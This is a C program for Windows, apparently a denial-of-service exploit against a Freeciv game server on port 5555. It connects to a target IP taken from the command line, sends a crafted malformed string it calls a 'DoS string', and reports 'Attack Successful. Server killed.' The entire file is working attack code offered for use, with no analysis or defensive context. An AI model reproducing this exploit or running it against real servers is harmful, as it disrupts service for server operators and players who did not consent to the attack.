#include #include #include #define DEFAULT_PORT 5555 //freeciv port int startWinsock(); int main(int argc, char **argv) { struct sockaddr_in target; //declare struct int sox, check_send; char *foo, buffer[41]; memset(buffer, '\0', sizeof(buffer)); foo = (char*) malloc (44); if(argc != 2) { printf("Usage: %s ", argv[0]); //check if correct arugments are passed return -1; } printf("\nUsing Server IP: %s\n", argv[1]); if(startWinsock() == -1) //call function startWinsock() { printf("\nUnable to start Winsock.\n"); return -1; } sox = socket(AF_INET, SOCK_STREAM, 0); //get socket descriptor if(sox == -1) //check socket descriptor { printf("\nError opening socket.\n\n"); printf("Exiting..."); WSACleanup(); return -1; } target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(argv[1]); memset(&(target.sin_zero), '\0', 8); target.sin_port = htons(DEFAULT_PORT); if(connect(sox, (struct sockaddr *)&target, sizeof(struct sockaddr)) != 0) { printf("Error: %s is offline.\n", argv[1]); //try to connect to port WSACleanup(); //if not it's offline return -1; } foo = "@+2.0 conn_ping_info username_info-beta8"; strcpy(buffer, foo); printf("Sending DoS string...\n"); if(check_send = send(sox, buffer, sizeof(buffer), 0) == -1) { printf("\nError sending string...aborting...\n"); closesocket(sox); WSACleanup(); return -1; } printf("\nAttack Successful. Server killed.\n\n"); closesocket(sox); //close socket WSACleanup(); //clean up winsock return 0; } int startWinsock() { WSADATA wsaData; if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) //make call to WSAStartup { return -1; //if fails, return with errors } printf("Winsock started...\n\n"); //else winsock is started return 0; }